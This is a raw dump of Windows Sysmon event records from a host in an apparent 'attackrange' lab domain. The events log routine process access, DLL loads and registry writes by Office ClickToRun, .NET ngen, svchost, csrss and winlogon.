14:44:05.206{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.206{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.190{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.190{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.190{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.174{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.174{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.159{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.159{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.143{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.143{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.143{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.096{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-6F35-613B-7D08-00000000F001}5072C:\Windows\system32\fontdrvhost.exe0x13ffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.096{7BD73061-6D0B-613B-8006-00000000F001}37763236C:\Windows\system32\winlogon.exe{7BD73061-6F35-613B-7D08-00000000F001}5072C:\Windows\system32\fontdrvhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\winlogon.exe+60dea|C:\Windows\system32\winlogon.exe+3508a|C:\Windows\system32\winlogon.exe+1bbfd|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d6162|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000040615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:05.065{7BD73061-6F34-613B-7B08-00000000F001}6132C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\17f4-0\Microsoft.Office.Tools.v4.0.Framework.dll2021-09-10 14:44:05.065 13241300x800000000000000040614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:05.049{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\MpsSvc\Parameters\AppCs\AppCs\S-1-15-2-95739096-486727260-2033287795-3853587803-1685597119-444378811-2746676523S-1-5-18v2.26|AppPkgId=S-1-15-2-95739096-486727260-2033287795-3853587803-1685597119-444378811-2746676523|LUOwn=S-1-5-18|M=microsoft.windows.fontdrvhost|Name=Usermode Font Driver Host|Desc=Usermode Font Driver Host| 13241300x800000000000000040613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:05.049{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\SharedAccess\Epoch\EpochDWORD (0x00000748) 13241300x800000000000000040612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:05.049{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable\System\{FD66DD14-ECC3-47D7-959E-D20C26A538B0}v2.26|Action=Block|Active=TRUE|Dir=Out|Name=Usermode Font Driver Host|Desc=Usermode Font Driver Host|LUOwn=S-1-5-18|AppPkgId=S-1-15-2-95739096-486727260-2033287795-3853587803-1685597119-444378811-2746676523|EmbedCtxt=Usermode Font Driver Host| 13241300x800000000000000040611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:05.049{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\SharedAccess\Epoch\EpochDWORD (0x00000747) 13241300x800000000000000040610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:05.049{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable\System\{E280028A-F3D0-4B85-AA15-95B2497577C0}v2.26|Action=Block|Active=TRUE|Dir=In|Name=Usermode Font Driver Host|Desc=Usermode Font Driver Host|LUOwn=S-1-5-18|AppPkgId=S-1-15-2-95739096-486727260-2033287795-3853587803-1685597119-444378811-2746676523|EmbedCtxt=Usermode Font Driver Host| 10341000x800000000000000040609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.034{7BD73061-6F35-613B-7C08-00000000F001}43646444C:\Windows\system32\conhost.exe{7BD73061-6F34-613B-7908-00000000F001}860C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.034{7BD73061-6F34-613B-7A08-00000000F001}13806656C:\Windows\system32\conhost.exe{7BD73061-6F34-613B-7808-00000000F001}6448C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.020{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D0B-613B-8006-00000000F001}3776C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.020{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F35-613B-7C08-00000000F001}4364C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.020{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F34-613B-7908-00000000F001}860C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.020{7BD73061-6E00-613B-E006-00000000F001}59921372C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F34-613B-7908-00000000F001}860C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+54149|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+5669a|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+56528|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+454145|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+45291d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.020{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F34-613B-7B08-00000000F001}6132C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.987{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F34-613B-7B08-00000000F001}6132C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.987{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F34-613B-7B08-00000000F001}6132C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000040600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.971{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}1380C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.971{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F34-613B-7808-00000000F001}6448C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.956{7BD73061-6E00-613B-E006-00000000F001}59925948C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{00000000-0000-0000-0000-000000000000}6448C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a9a16|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4acf34|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+436609|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4369a4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4831bb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000040597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:04.940{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\Program Files\Microsoft Office\root\Client\C2R32.dll2021-09-10 14:44:04.940 11241100x800000000000000040596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:04.940{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\Program Files\Microsoft Office\root\Client\AppvIsvSubsystems32.dll2021-09-10 14:44:04.940 13241300x800000000000000040595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:04.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\O365ProPlusRetail - en-us\PublisherMicrosoft Corporation 10341000x800000000000000040594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.924{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F34-613B-7708-00000000F001}1640C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.909{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F34-613B-7708-00000000F001}1640C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.909{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F34-613B-7708-00000000F001}1640C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000040591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 